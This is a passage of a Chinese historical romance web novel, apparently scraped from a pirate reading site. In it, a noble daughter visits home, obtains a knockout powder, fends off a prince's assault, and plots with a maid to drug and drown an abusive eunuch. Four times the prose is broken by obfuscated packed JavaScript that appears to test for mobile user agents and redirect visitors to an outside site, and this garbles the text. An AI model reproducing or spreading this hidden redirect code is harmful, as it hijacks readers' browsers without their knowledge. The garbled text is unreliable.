l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156305|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她计较。 更何况,还有太后的面子在,看得出来,太后应是真喜欢她。 纪云瑟见他点头“嗯”了一声,又向他道了一声谢,便起身去拿。 谁知,马车突然剧烈颠簸了起来,下一瞬,熟悉的香味就沁入了晏时锦的鼻尖,那个女子已经坐到了他身旁,脑袋抵在他的肩侧。 “抱歉……” 纪云瑟一脸无奈,她这次真不是故意的,待平稳些后,她立刻双手撑着身后的马车壁起身,却不料还未站住脚,又是一阵颠簸。 这一次,一只大手用力扶住了她。 纪云瑟不得不感叹,这厮还怪好的,真是个面冷心热之人。 她侧头正想向他道谢,却忽的看见他另一只手紧紧地护着自己的胸口。 纪云瑟: “?……” 她虽知晓这厮不喜女色,但是,这,也太夸张了吧! 晏时锦面色不悦地将一脸无语的人儿推回原位,带着几分怒意斥道: “紫电!” 车帘外,紫电十分无奈道: “世子恕罪,这段道路太过泥泞,属下再驾慢一些。” 纪云瑟自觉离他远一些,用力抓紧软垫,待马车平稳一些后,迅速起身伸手拿了绒毯,裹在身上,终于暖和了。 她靠着窗口,掀开一丝缝往外面瞧,却斜眼偷瞟端坐不动的晏时锦,默默感叹真是可惜了一副好样貌和身板。 想起太后曾提过,晏国公府正急着为这位刚行冠礼的世子爷相看人家,也不知日后是哪家小姐倒了血霉,嫁给他守活寡呢! 在他察觉到她的打量,警惕地看过来之前,纪云瑟迅速移开目光,看向车窗外。 见那女子离他远远的,安静乖巧地缩在角落里,明显是刻意与他保持距离,晏时锦不动声色地继续翻阅手中的邸报。 算她识趣。 那绒毯本就是准备淋雨后裹在身上吸水之用,纪云瑟用了半日,摸了摸外衣,果觉得清爽干燥了许多。 不多时,紫电缓缓停下马车,说道: “纪姑娘,侯府到了。” 纪云瑟起身向晏时锦微微一福,道: “多谢世子相送。” 晏时锦并未抬头,只“嗯”了一声。 她正欲下车,似想起什么,脱下身上的绒毯抱在怀里, “这个被我弄脏了,要不,我拿回去洗干净再还给世子?” 晏时锦看了她一眼,少女的眼睛尚肿着,却难得的满目真诚。 “不用。” 他继续翻开邸报,不管怎样,不能让她再有理由接近自己。 纪云瑟并不在意,他不喜女子触碰,肯定也嫌弃她沾过的东西,说不定,回去就扔了。 她随口“哦”了一声,将绒毯重新叠好放回了原位,掀帘离开。 雨势渐弱,变成了绵绵细丝,她从紫电手里接过伞,利落地跳下马车,淡笑道: “多谢。” “举手之劳而已,姑娘慢走。” 紫电帮她打着帘子客气了一句,回头看了一眼端坐不动的自家主子,正惋惜他的坐怀不乱时,却瞧见他不耐的目光抬眸扫过来,忙扯动缰绳,掉转马头离开。 车帘落下,若有似无的幽香留在车内,又随着车速的加快,被丝丝冷风吹散。 11. 第 11 章 纪府门外,有两个身着半旧绫袄外罩掐牙背心的少女探头瞧了许久,细细分辨之后,认出是皇宫的马车,下来的正是纪云瑟,立刻飞奔了过来,兴奋地呼喊着: “姑娘,姑娘!” 正是纪云瑟在家中的两个贴身婢女,崇陶和效猗。 “您可回来了!” 二人一左一右,拥住了久未见面的自家姑娘,搂着她进府,她们与纪云瑟从小一同长大,从未分别如此久。 “前几日接到宫里送出来的信,奴婢们就日日盼着姑娘回家。” “姑娘,您淋雨了么?” 效猗原是纪老夫人身边的一等侍女,比纪云瑟年长几岁,纪云瑟到祖母身边后,特意拨了照顾她,一眼就看到了她发丝残留的湿润,忙忙的用帕子给她擦了擦。 “没事,刚出宫那会儿雨大。” “先去见了父亲再说吧。” 二人帮她重新拢好鬓发,进门后,纪云瑟向西次院的方向看了一眼,正待说什么,已见继母身边的管事嬷嬷吴氏笑着迎了上来,微微颔首: “大姑娘回来了,侯爷和夫人正念叨着您呢!” 几人行至正屋恩熙堂外,已经听见了里面的说话和笑声。一个立在门口的婢女打起帘子,往里头说道: “大姑娘到了!” 纪云瑟迈步入内,见一家人都在西侧暖阁,父亲章齐侯纪筌和续娶的夫人魏氏分坐东西边炕沿上,比她小两岁的妹妹纪云惜被魏氏搂在怀里,不住地摩挲她的背。 周姨娘所生的二弟纪文远和魏氏所生的幼弟纪文达,坐在挨着炕沿的两张靠背椅上。 她一走进,房内顿时安静了下来。 纪云惜从魏氏怀中起来,收敛了些笑容立在一旁,纪文远和纪文达也起身,站着往旁边挪了一个位置。他们兄妹三个一直在正房由魏氏抚养,与纪云瑟稍显生疏。 纪云瑟上前屈膝行礼: “女儿回来了,给父亲、母亲请安。” 她的亲生母亲苏氏生产时血亏而亡,一年后魏氏进门,她从记事起便自然而然地唤魏氏母亲。 魏氏生下纪云惜后,恐她照应不过来,纪老夫人便将纪云瑟抱去了身边养着,直到长大。 纪筌点了点头,往身旁一指: “好,坐下说话。” 魏氏笑着起身,拉过纪云瑟的手,上下打量了一番,赞道: “还是宫里的水养人呢,咱们大姑娘出落得越发好了。” 说着,把她送至纪筌一侧的圈椅旁。 姐弟几人见礼之后,依次坐下,婢女过来给纪云瑟上茶。 纪云瑟问过了两位长辈的身体近况后,纪筌端起手边的盖碗,轻轻吹着面上的茶沫子,问道: “太后娘娘的身子可还好?” 纪云瑟放下茶盏,实话实说道: “时好时坏,太医虽不敢明说,但大伙儿都私下猜测,恐怕就是今年了。” 纪筌眉头的纹路深了几分,片刻方道: “你可曾见着陛下?” 纪云瑟垂下眼眸,摇了摇头: “平日里,女儿多半在毓秀宫,太后知晓女儿忙于曦和公主的课业,并不常召见。” “除非是公主偶尔带女儿同去寿康宫请安,太后或许会单独留下女儿服侍。” “只不过,陛下忙碌,未曾见过。” 她不无遗憾地叹了口气,悄悄觑着父亲的脸色。 纪筌闻言,一脸愁云更甚,沉默不语。 魏氏笑盈盈地打破安静,问道: “听闻曦和公主与瑟儿一般大,想来,你们该十分投缘吧?” 纪云瑟不知她是真不懂宫里的门门道道,还是有什么别的意思,就算不懂,难道会连曦和公主声名在外的专横霸道都没听说过? 她隐去眼眸中的冷意,淡笑道: “曦和公主最受陛下宠爱,自然也骄纵跋扈些。初到毓秀宫时,她与夏贤妃一样,十分不喜我,但过了这么些日子,倒好了,如今贤妃娘娘和公主都对我很不错。” 纪筌的脸黑沉得更加厉害,连连饮了几口茶。 纪云惜向来天真懵懂,拉着纪云瑟的手臂,眼睛发亮: “真的么?姐姐,你如今与公主是好友了?” “能不能找个机会,把我介绍给公主认识认识呀?” 纪云瑟点点头: “好啊!” 魏氏忙瞪了纪云惜一眼: “惜儿,你性子莽撞,不可在公主面前胡来!” “那可是天皇贵胄,若是你不懂事得罪了,可是吃不了兜着走!” 纪云惜有些丧气地嘟囔道: “我哪里莽撞了?姐姐可以,为何我不可以?” 魏氏道: “你姐姐从小就比你懂事,又素来识礼稳重,你如何跟她比?” 纪云惜不服气: “从前我和祖母姐姐一同进宫,太后娘娘也夸我乖巧嘛!” “是不是,姐姐?” 纪云瑟笑而不答,她倒是想,最好把她的“懂事”,连带着入宫伴驾的“荣幸”,转给她这位父母从小宠到大的宝贝小女儿。 纪筌板着脸,道: “你个小孩子家的,懂什么!” 纪云惜素来不怕纪筌,不甘心辩解道: “爹爹,我只比姐姐小两岁,马上就要及笄了,哪里小嘛?” 见父亲怒视了过来,她才噤了声,起身重新坐在魏氏身边,生起了闷气。 纪筌难得凶这个小女儿,顿了顿,又向纪云瑟道: “如今,蔚王殿下也入了朝,裕王更不用说,陛下早将户部和礼部交由他管着,你在宫里,可时常会见着他们?” 赵檀微胖猥琐的脸在脑海里闪过,纪云瑟恍惚了一瞬,小心看向父亲的神色,见他似不经意发问,又似带着些许探究地看了过来,便道: “裕王殿下已在宫外立府,我只是初到太后宫里时,远远地见过他一两次而已。” “至于蔚王殿下,他虽在宫中,又跟曦和公主是兄妹,但素来都是与公主同赴夏贤妃的长春宫居多,与我几乎不曾照面。” 纪筌微不可察地露出一抹失望之色,再次陷入沉默。 魏氏悄声安慰了面露委屈的纪云惜许久,才向纪云瑟道: “瑟儿离家这么些时日,侯爷每日都念叨着,如今好不容易回来一趟,你们姐弟们和侯爷好好聊一聊,我去厨房看看,让他们多做几道你爱吃的菜。” 纪云瑟起身微微行礼: “多谢母亲费心。” 她又向纪筌道: “父亲,女儿今日淋了些雨,先回去换衣梳洗了,再过来。” 他们二人这才发觉她的发髻和裙摆上尚有水渍,魏氏忙道: “这孩子,你怎的不早说呢?快,快回去换衣裳吧!” “若是冻着就不好了。” 又吩咐人: “去,给大姑娘熬一碗浓浓的姜汤送过去。” 崇陶和效猗在屋外候了许久,终于等到纪云瑟出来。 效猗早已回去取了一件兔毛斗篷过来,先给她披上,又摸了摸她的手道: “幸好屋里暖和,姑娘的手还是热的。” “但毕竟是淋了雨,若是受寒,姑娘明日回宫,独自一人没个照应,可不是闹着玩的。” “奴婢已经备好了热水,姑娘赶紧回去泡一泡,再喝碗姜汤,祛祛寒气。” 纪云瑟看着她满目的担忧,笑道: “哪里就这样脆弱了?” 说罢,忍不住打了个喷嚏。 连素来心大的崇陶也紧张起来,忙将斗篷给她裹紧了,不由分说地拥着她回筑玉轩。 乳母秦氏听见声响,从耳房急急忙忙地迎了出来: “可算是回来了!” 自从纪云瑟入宫,秦氏就向纪筌以年迈为由自请回乡下老家,今日特地赶来见她。 纪云瑟上前拥住了她,搂着她娇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156306|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语道: “嬷嬷,我想您了。” 秦氏轻抚她的脊背,含着泪笑道: “姑娘的个头都比我高了,还只管撒娇。” “来,让我看看,姑娘可长好些?” 效猗在旁也笑道: “咱们姑娘离了嬷嬷是最老道的,在嬷嬷身边,就跟小娃娃一般。” 几人说笑着,进入屋内。 泡澡完毕,崇陶帮着纪云瑟绞干头发,效猗端了姜汤过来,见她喝完之后,发了汗出来,几人才放下心。 纪云瑟换了一身家常的素色对襟褂子,坐在妆台旁,效猗给她梳发,她随手翻开空荡荡的妆奁,目光停滞,效猗低声回道: “是夫人,您走后不久,她跟奴婢说二姑娘要去忠顺伯府赴宴,借了您几支珠钗……” “后来,二姑娘又自行过来,说天气冷衣裳不够穿,借了您的那件鹤氅和大红猩猩毡的斗篷……” “借?” 纪云瑟一阵无语,崇陶赶紧将藏在书柜后暗格中的一个大包裹拿了出来,转移这个话题, “姑娘,这是最近的账本,和已经办好的商契。” “按照姑娘的吩咐,那几间大些的商铺和酒楼,已经全部转让,如今的东主,明面上跟咱们毫无关系。” 这是她得知父亲要送她入宫后,吩咐二人去办的。纪云瑟细细看了一眼,点头道: “好,商契让嬷嬷带走,还是交给方叔保管。” 秦氏应了一声好,这几个人都是她母亲苏氏的陪嫁,苏氏去世后,外祖家特意留下乳母秦氏照顾她,管事方成照看苏氏给她留的嫁妆商铺。 崇陶又问道: “还有几间铺子,姑娘年前说等您入宫后再做决定,如今,可有主意?” 纪云瑟想起了方才父亲纪筌的态度,知晓她对章齐侯府已经不抱什么希望,沉吟片刻后,道: “这几间也转了。” “但要方叔谨慎些,别让父亲他们看出端倪。” 这些年侯府入不敷出,大部分的开销都是用苏氏的嫁妆填补,但幸好,苏氏在去世前,将一部分悄悄留给了女儿纪云瑟。 崇陶将商契小心收好,道: “奴婢会通知方掌柜,办完这些事后尽快回扬州,换几个生面孔过来京城打理。” 纪云瑟向秦氏道: “我回宫后,嬷嬷您也回扬州吧,京城的事,不用您操心了。” 秦氏含着泪答应,叹道: “当年,老爷为了大小姐做侯府夫人,费尽心思,谁承想到如今,却……” 他们苏氏是扬州有名的富商,但商籍低贱,苏老爷为了让子孙脱离贱籍,想方设法花了许多钱财把长女过继给了当地一个举人,后来,又以万贯嫁妆为聘,将她嫁入章齐侯府做正房夫人,谁知竟是这样的结果。 秦氏不忍再说,纪云瑟拍了拍她的手背,又问身后的效猗: “我入宫这些时日,你们两个在府里还好么?” 效猗给她绾髻的手顿了顿: “奴婢们很好,姑娘不必担心。” 纪云瑟听出了她话中的闪躲之意,用力把她的手拽过来细看,果然,长了冻疮,还有几处开裂得厉害,手心多了一层厚厚的茧。 效猗将手缩了回去,勉强笑道: “也没什么,就是姑娘不在家,奴婢帮着府里做些杂务而已,不累,真的!” 纪云瑟不用想也知道,如今纪府的光景,能省则省,年前还遣散了一批做粗活的下人,她不在家,这两个婢女自然被当做了粗使丫头,效猗还曾是祖母身边的体面婢女尚且如此,崇陶更不必说。 “你们先忍一段时日,等我想办法出宫!” 崇陶和效猗闻言吃惊不小,停下手头的事,瞪大了眼睛: “姑娘,您有什么打算?” 她们母女凭什么做侯府荣华的垫脚石?纪云瑟并未回答,略收拾了一番起身出门: “我去家塾找沈夫子。” 12. 第 12 章 沈夫子是家中的西宾,这些年纪府虽艰难,但面子上的工夫却还是维持着,而且纪筌十分清楚,自己已无法为二子的前程铺路,唯有将希望寄托在他们的科考之路上。 故而,家中私塾一直保留着,如今的教书先生沈绎,是前任老夫子推荐来的得意门生,在纪府待了有十来年,算是纪云瑟姐弟几人的启蒙恩师。 他惯会因材施教,对于纪云瑟这样无需科考的女子,除了识字,便教些她有兴趣的游记,平日让她读些神话志怪故事,故而纪云瑟从小虽不喜念书,但也跟这位夫子颇为亲厚。 她沿着抄手游廊,穿过月洞门径直到了西次院,家塾大门虚掩,一片安静,纪云瑟敲了敲门,在门外唤道: “沈夫子?” 立刻有一高瘦男子身着籚灰长袍,闻言从里面步出,目露惊喜: “大小姐?” 纪云瑟微微行礼,笑道: “夫子好,我回来了。” 沈绎抬手相让: “好,进来喝口茶吧!” 他移了一张椅子放在案桌旁扶好让她坐下,自己坐在她对面,另取了个杯盏给她,倒上了茶。 纪云瑟双手捧起,抿了一口,茶香淡然悠远,就像身旁温润如玉的男子一样,让她顿时觉得心情也平和了许多。 沈绎看了看她,为她添上茶,问道: “在宫里怎么样?还习惯么?” 纪云瑟淡淡点了点头,又问道: “夫子这里还有药油么?上回我带入宫的已经用完了。” “太后的脉案和太医开的方子我已用心记下,说给夫子看看,药油的配方需不需要变。” 她从前亦不知晓这位夫子家中世代行医,直到有一次,祖母突发旧疾,头疼难忍,偏偏纪筌和魏氏都不在家,虽急急地派了人去请太医,但见祖母疼得昏了过去不省人事,纪云瑟吓得直哭。 幸好遇见沈绎,他犹豫了片刻,看着小姑娘焦急得满脸泪痕,终是回房取了一个小匣子过来,给纪老夫人行了针,又用药油揉通了几个穴位,她才醒了过来。 不过,沈绎对自己擅医理会制药一事讳莫如深,整个纪府也只有纪云瑟和祖母知晓。后来,他时常悄悄为纪老夫人诊治,也教了纪云瑟一些医理,和推拿的手法。 入宫之前,沈绎听说纪云瑟是去给太后侍疾,便问了太后的大致情况,配了些药油让她带入宫,或许能帮太后缓解疼痛,又告诉她,若是有太后的脉案,方便对症下药更好,纪云瑟便记住了。 沈绎认真听她说了一番,神情凝重地沉默了片刻,不无遗憾道: “如此看来,太后的痼疾恐难治了,太医们怎么说?” 纪云瑟也叹了口气: “连院正汪太医都束手无策,其他的太医更是不敢近前了。” 两人又随口聊起太医院现下各位太医的分工,沈绎似乎颇有兴趣,听到如今是一位姓章的太医侍奉夏贤妃时,目光微不可察地闪烁了一下,略思一瞬,道: “我知道了,今晚我会帮你重新配一些药油,明日便可带去。” 纪云瑟谢了一声,拿起杯盏,又饮了一口茶,低头不语。 沈绎见她不断摩挲着瓷杯上的青花纹,似若有所思,问道: “怎么了?有心事?” 自从祖母去世后,这位夫子成为了侯府里最关心她的长辈,在他面前,纪云瑟总是容易敞开心扉。 她思虑片刻,抬眸看了一眼目露关切的沈绎,终是鼓起勇气道: “我知道夫子擅制药,我想问问,是不是有一种药,可以……” “可以,瞬间将人迷晕。” 沈绎愣了愣,第一反应是有些着急地抓住了她的手臂: “宫里有人害你?” 纪云瑟怔怔地看着他,被他突然的力道有些吃痛地扯出一抹笑: “没,没有。” 是她想害别人而已。 她答应了丁香帮她打发来顺,但一直没想到好法子,那狗奴才到底是个男子,就算她们两个女子加起来,也与他力量悬殊,唯有用些非常手段。 今日回到家,纪云瑟突然想起沈夫子会制药,便考虑着或许可以给来顺下个毒。 而且,她还不知夏贤妃会如何对付她,自己又不会武艺,弄些毒药迷药什么的,还能有防身之用。 沈绎见她神色轻松,不像撒谎,才放下心来,意识到自己的失态,忙抽回了手,也不问她原因,点点头道: “自然有,今晚我会给你配一些。” 纪云瑟连声向他道谢,喝过几盏茶,方告辞去往主屋。 次日是纪太夫人的祭礼,不过就是纪家的几房宗亲参与,没有知会外人,一时礼毕,纪云瑟收拾了心情,也准备着回宫。 崇陶和效猗自是十分不舍,但又不敢哭出来让自家姑娘担心,纪云瑟先抱了抱秦氏,道: “嬷嬷只管放心回去找姨母,等我出宫了,便去扬州寻你们。” 她口中的姨母是母亲的同胞小妹,外祖家产业如今的掌舵人。 纪云瑟十来岁时曾在外祖家住过几年,均是比她大八岁的姨母照看她,姨甥俩感情甚好,直到外祖父去世,纪府这边祖母的身子每况愈下,她方回了京城。 秦氏知晓她已入宫,许多事其他人无力改变,都是这孩子的命数,只能看她的造化。她抹了泪,强颜欢笑: “好,老奴明白。姑娘您在宫里照顾好自个儿,老奴和二小姐在扬州等您。” 崇陶和效猗一人一边抱住她,崇陶实在忍不住,眼泪还是流了出来,忿忿道: “姑娘太可怜了,从小侯爷和夫人压根就没疼过您,府里有什么好处您不曾得到丝毫,这家里要用人时倒第一个想到您。” “他们为何不让二姑娘去伺候那老皇帝呢?” 效猗忙叫住她: “崇陶,事已至此,你还想给姑娘添麻烦么?” 纪云瑟从不想这些思之无益的假设,事情既已发生,她只能想办法解决。 安慰告别了几人,她径直去往西次院。 沈绎将一个小包裹交给她,郑重嘱咐道: “记住,迷药乃粉状,只需少量,大约一小指盖,倒在帕子上覆住口鼻也好,下入酒水中也好,你自己千万仔细,别碰了。” 纪云瑟打开包裹,里面有两个与从前一样的装药油的小瓷瓶,外加一个带软木塞的小罐子。 沈绎又另外拿出一个小荷包,道: “这里面是我为你特制的丸药,有醒神通窍之效,可随身携带。若是你不小心沾染了这类迷药,立刻服用一颗,有解毒的作用。” 纪云瑟接过,一阵特别的药香扑鼻,但样式跟普通的香袋类似,不由得感叹这位夫子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156307|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行事细致。 “还有,”沈绎顿了顿,目光扫过少女未施粉黛却依旧绝美的脸庞,对后宫的龌龊伎俩了如指掌的他,终是认真叮嘱她道: “不管是何迷药,都不可能完全无色无味,你独自一人在外,若是觉得吃食酒水有任何异样,便不能再食用。” 纪云瑟答应了,心道这位夫子还真是细心,忙又深深谢过了,小心收好这些东西,才出门上了马车。 不到申时末,她已回到了宫里。 曦和公主如往常一般,去了夏贤妃的长春宫。纪云瑟回房,将迷药藏好。 她想了想,裁了一小张笺纸,按照沈夫子的交代,屏住呼吸,小心翼翼地倒了一些药粉在纸上,包好放入衣袖内袋中。 做好这些后,她准备去寿康宫,向太后回禀祖母祭礼一事。 不料刚打开房门,就看见一身着霁色哆罗呢氅衣,腰系玉带的男子,已行至了偏殿廊下,纪云瑟微讶了一瞬,迈步出去,屈膝行礼: “臣女见过蔚王殿下。” 正是曦和公主的同胞兄长,三皇子赵檐。 赵檐上下打量了她一番,抬手笑道: “纪姑娘不必多礼,听说阿昭受伤了,本王顺路来看看她。” 纪云瑟更讶异了,平日里他们兄妹每日都在长春宫见面,这位爷怎的突然到毓秀宫来看妹妹? “禀殿下,公主去往长春宫了。” 赵檐哦了一声,却无一丝意外之色,越过她行至她的房门口,往里看了看后,竟径直走了进去。 纪云瑟眉头一突,也只得跟了过去,但不敢走近,只站在靠近开门处。 赵檐环顾了四周一番,问道: “纪姑娘在宫里这段时日,一切可还适应?” “奴才们伺候得可好?” 纪云瑟道: “臣女很好。” 赵檐靠近她一步,目光直直地停留在她身上,刻意俯下身子,温言道: “听说,那日在重华殿外,姑娘也受了许多委屈?” 纪云瑟察觉到莫名的危险,稍稍后退,摇摇头垂首道: “没有。” 果然,下一瞬,赵檐上前把手搭在了她的肩膀上,靠近她耳畔,说道: “阿昭的性子会有些骄纵,若是她有什么地方得罪了姑娘,只管跟本王说,本王定会替姑娘做主。” 纪云瑟浑身一颤,立刻放低肩膀,脱离他的手掌,后退一步,道: “多谢殿下,公主待臣女很好。” 赵檐轻浮的举动让她涌起十足的厌恶,若不是看在他是堂堂皇子,早一个巴掌扇过去了! 赵檐轻笑一声,直接拉起了她的手: “姑娘跟我客气什么!” 纪云瑟没有料到,光天化日之下,他竟然如此胆大,瞬间花容失色,使劲想挣脱却是徒劳,只得疾声道: “请殿下自重!” 赵檐却毫不在意,他知道,毓秀宫大部分的宫人都随赵沐昭去了长春宫,就算留下来的,谁也不敢管他。 他紧紧抓住纪云瑟的手,放在鼻尖深深闻了闻,哑声道: “姑娘可知,本王心仪姑娘已久。” 说话间,他另一只手直接揽过了她的腰,紧紧扣住,纪云瑟从未被男子如此轻薄,又急又气,奋力挣扎,怒道: “你,你快放了我!” 13. 第 13 章 赵檐虽不是习武之人,但他一个正常的成年男子的力气也不是纪云瑟一个弱女子能比的。 纪云瑟从前只是跟他在宫里打过几次照面,没有料到此人竟如此色胆包天,眼看着自己的用力挣脱反而激起了他的兴奋,她深吸一口气,拼命让自己冷静下来。 这里毕竟是宫里,她好歹是名门贵女,谁都知道她入宫的目的是欲侍奉圣驾,陛下尚未明确表态,赵檐身为皇子,料他不敢随意对她做什么出格之事,得先稳住他。 见她似没了力气动弹,赵檐单手抓紧她的两只手腕,扣在她的背后,腾出另一只手挑起她的下巴,细细端详着。 少女原本瓷白的肌肤因气恼和用力挣扎,透出丝丝红晕,双眸蓄着浅浅的泪,眼尾微红,更加显得肌若凝脂、仙姿盛颜。 真是个难得的美人。 赵檐的呼吸愈发粗重,在他的嘴就要靠近时,纪云瑟及时撇开头,放柔了声量开口道: “殿下真的喜欢臣女么?” 见她软下来似欲从了自己,赵檐想都没想便答道: “那是自然。” 他就说嘛,这美人不过是故作矜持欲拒还迎罢了,父皇又不打算纳她,她能得他一个最受宠的皇子青睐,还不烧高香去? 他抬手拂开她额角的碎发,直言道: “见姑娘的第一眼,本王就爱上了。” 他虽稍稍放松了力气,纪云瑟却不敢急着挣脱,忍住满腹的恶心,只故作试探着问道: “那殿下愿意娶臣女?” 赵檐一怔,目光瞬间松散下来, “娶?” 正妃为娶,侧妃为纳。 纪云瑟见他犹豫,趁机脱开他的掌控,围着圆桌跑到他的对面,小嘴一撇, “哼!殿下不愿,便是假意喜欢臣女了!” 她当然知道赵檐不可能娶她,但此刻只有以此为理由,缓住他。 微愠的美人娇俏灵动,更添万种风情,赵檐看直了眼,忙道: “怎么会?本王对姑娘的喜欢,比真金还真!” “姑娘不信,本王可以发誓!” 纪云瑟静静地看着他煞有介事地竖起三根指头: “本王对天起誓,若不是真喜欢纪姑娘,就天打五雷轰!” 纪云瑟用帕子拭了眼角的泪,故作娇语道: “那,殿下去向陛下求娶臣女!” 见他目露迟疑,她佯装生气道: “若是不去,便是骗臣女的!” 赵檐思索一瞬,又想上前去搂她,哄道: “你放心,只要你我心意相通,本王定会给姑娘一个名分。” 纪云瑟继续躲开他,绕到他够不着的地方,道: “口说无凭,若是殿下一时哄臣女,他日又弃臣女不顾,臣女找谁说理?” “除非,殿下此刻就去!” 赵檐围着圆桌伸手去抓她,却被她躲开,急得跺脚, “我这就去,那你先过来!” 纪云瑟摇头: “殿下未曾求得陛下旨意,臣女不敢亲近殿下。” 赵檐十分无奈,但见她也有此意,倒不好直接强迫了反惹她生气,只得道: “好好好,你等着,本王去找父皇说。” 他母妃早已在为他选正妃,赵檐心知不管如何选,都不可能选到纪云瑟的头上,但这美人实在是难能可贵,他哪舍得放弃。 总归她在亲妹妹的宫里,要得手不过就是时日问题,她既有这个心思,再哄哄定然能成! 赵檐带着几分无奈,恋恋不舍地离去,纪云瑟立刻关紧反锁了门,倚在门背后大口大口地喘着气。 纵然她再胆大,也只是个尚不满十七的小姑娘,面对如此羞辱,怎能不惧怕? 直到进了寿康宫,感受到如今对她而言,十分难得的亲人般的关心,纪云瑟才慢慢缓了过来。 太后问了她几句关于她祖母的祭礼,想起昔日年少时二人的姐妹情谊,叹息了许久,又嘱咐了她莫要难过,好好地住宫里,有什么不顺心及时告诉周嬷嬷。 纪云瑟知道太后一直是真心待她,不顾病体要永安帝纳她,也是顾及到侯府如今的境况,想到这应该是她最好的一条路。 但她不愿让太后知晓自己在宫里的真实处境,恐她老人家烦心又添病症,更不能表露出自己想出宫的真实想法,只得一一应下。 太后的确是考虑到,就凭如今的章齐侯府,想要为纪云瑟寻一门理想的亲事已十分困难,而这孩子的长相太过出挑,不知会惹得多少心怀不轨之人觊觎,若是没有一个能护得了她的人,日后定有许多苦头吃。 她虽身为太后,却也不好强迫哪家勋贵与纪家结亲,但说服她亲生的儿子倒可以。 她了解自己的儿子,永安帝年纪虽大些,却是个会疼人的,不过是没遇见真正让他动心之人罢了。她总觉得,或许相处久了,这姑娘的容貌和性情,能打动那位表面冷漠的天子。 有了皇帝的宠爱,封了妃,甚至后位一直空悬,只要皇帝真喜欢,也不是不可能,到时再生个皇子傍身,这孩子的一生也算安稳顺遂了。 老人家病中多思,直到纪云瑟用刚配制好的药油为她揉了揉穴位,才在她轻柔的推拿中睡了过去。 见纪云瑟神色凝重,周嬷嬷只当她是因祭奠了祖母心情不佳,便让小宫女早些送她回去歇息。 天色已暗,纪云瑟回到毓秀宫,得知曦和公主今夜歇在了夏贤妃处,便立刻回了房中,正奇怪为何不见丁香,敲门声骤然响起。 纪云瑟如惊弓之鸟,一下想到赵檐,听闻是丁香的声音,才挪着步子过去开了门。 “姑娘,您回来了。” 纪云瑟只觉疲惫不堪,无心与她说话,问她为何刚才不在,也并未关注她此刻的神情,尚有些愣愣地坐在椅子上。 直到听见丁香小声的啜泣。 纪云瑟揉了揉太阳穴,见她脸色煞白,问道: “怎么了?” 丁香含泪跪在她面前: “求姑娘救救奴婢!” “这些时日,奴婢听姑娘的话,一直躲着来顺公公,也不敢一个人留在房内。可是,今日他逮住了奴婢,说若是奴婢今晚不主动去找他,他就,他就……” “他就让奴婢死无葬身之地,连奴婢的家人,他也不会放过……” 丁香说这些话时,浑身都在颤抖,每一个字,似乎都是用尽了力气。 纪云瑟气不打一处来,不禁一掌拍在身旁的桌上: “这里还有王法么!” 长春宫养的都是些什么人? 纪云瑟紧紧攥着拳头,直到指尖丹蔻深深地嵌入掌心,传来一阵痛感。 她定了定神,沉思片刻,将丁香扶起,问道: “他扰你之事,有多少人知晓?” 丁香抿唇道: “就是服侍他的几个小内监。” 纪云瑟略思一瞬,又问道: “除了你之外,他最近可有找别的人?” 丁香点点头: “就奴婢知道的,还有长春宫一个负责洒扫的小宫女,和御膳房的一个。” 纪云瑟道: “今晚让你去找他,可有别人知晓?” 丁香摇摇头: “奴婢不知,但他素来办事谨慎,想来这种事不会与他人说。” 纪云瑟眼中掠过一丝冷意,似下定了决心一般: “你敢不敢动手?” 丁香愣了愣,不明所以: “姑娘的意思是……” 纪云瑟从咬紧的后槽牙中吐出几个字: “直接了结了那狗奴才!” 丁香惊了一瞬,但很快抹干了泪,用力点点头: “奴婢听姑娘的!” 纪云瑟将袖口中包好的迷药粉拿出来,对丁香说道: “好,你现在去找他,把他引到御湖旁的僻静处见面,然后……” ~ 这一夜至次日拂晓,风劲雨急,御湖边柳枝摇曳,荡起圈圈涟漪,隐约可见一个模糊的人影漂浮在水面上…… 晨起依旧是细雨绵绵,纪云瑟开始梳妆,准备去重华殿上学。 丁香看着她眼下的乌青,忙忙地给她用脂粉遮盖了一层。 纪云瑟抓住她颤抖的手,说道: “这件事,咱们已经做了,就不可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156308|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫无痕迹,料想今日就会事发,你若这个样子,不用人来审你,便会露了马脚。” 丁香双腿一软,瘫了下去: “可是,奴婢,真的,真的害怕……” 纪云瑟抓紧她的手臂,道: 